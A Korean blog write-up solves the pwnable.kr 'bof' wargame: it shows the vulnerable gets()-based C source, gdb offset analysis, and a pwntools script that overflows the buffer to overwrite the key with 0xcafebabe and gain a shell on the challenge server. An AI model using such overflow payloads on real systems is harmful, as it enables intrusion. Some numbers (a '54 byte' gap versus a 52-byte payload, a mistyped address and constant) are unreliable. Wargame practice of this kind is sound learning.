이번에 풀이할 문제는 pwnable.kr의 bof 문제다. 이번 문제는 앞선 문제들과 다르게 nc 접속이다.
일단 주어진 링크에서 bof 파일과 bof.c 파일을 다운받고 bof 파일을 실행해봤다. 이름처럼 입력을 통해 bof 시켜서 문제를 푸는 것이 목적인 것 같다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32]; // 32 크기의 char형 배열 선언
printf("overflow me : ");
gets(overflowme); // bof가 일어나는 함수 gets로 입력을 받음
if(key == 0xcafebabe){ // 매개변수의 값이 0xcafebabe라면 쉘 획득
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef); // func 함수를 0xdeadbeef를 인자로 호출
return 0;
}
위는 bof.c다. bof 파일의 c언어 소스코드인것 같다. 이 gets 함수를 통해 매개 변수 key의 값을 overflow 시키면 될 것 같다. 일단 이 매개 변수 key는 지역 변수지만 매개 변수로 전달되기 때문에 overflowme와 붙어있지 않고 떨어져 있을 것이다. 따라서 gdb를 통해 위치를 확보해보겠다.
gets를 호출하기 직접 bp를 걸고 주소를 스택을 확인해보면 0xffffcf8c가 들어있다. 이 값이 바로 입력 값이 저장될 메모리 주소다.
<+40>의 ebp+0x8과 0xcafebabe를 비교하는 것을 봐서 ebp+0x8이 key의 주소임을 예측할 수 있는데, 이 주소를 확인해보면 deadbeef 값이 존재하는 것을 알 수 있다. 이 key의 주소는 0xfffcfc0이다.
key의 주소, 입력 값이 저장되는 주소도 획득했으니 이 주소 간의 차이를 구해, 몇 바이트를 overflow 시켜야하는지 확인한 후 exploit을 진행하면 될 것 같다.
계산기로 확인해보니 54byte(10진수)만큼 떨어져 있는 것을 알 수 있다. 따라서 54byte만큼 더미 값으로 채워준 다음 0xcafebabe를 리틀 엔디안으로 패킹해서 넣어주면 될 것 같다.
from pwn import *
payload = b"A"*52+p32(0xcafebabe) # payload
p = remote("pwnable.kr", 9000) # 서버 접속
#p = process("./bof")
p.sendline(payload) # 페이로드 전송
p.interactive()
52byte만큼 더미 값 A로 채워준 후 p32 함수로 0xcafebade를 32bit 리틀 엔디안으로 패킹해서 payload를 생성했다.
'Wargame > Pwnable.kr' 카테고리의 다른 글
pwnable.kr [random] (0) | 2021.04.08 |
---|---|
pwnable.kr [leg] (0) | 2021.04.08 |
pwnable.kr [flag] (0) | 2021.04.08 |
pwnable.kr [collision] (0) | 2021.04.02 |
pwnable.kr [fd] (0) | 2021.04.01 |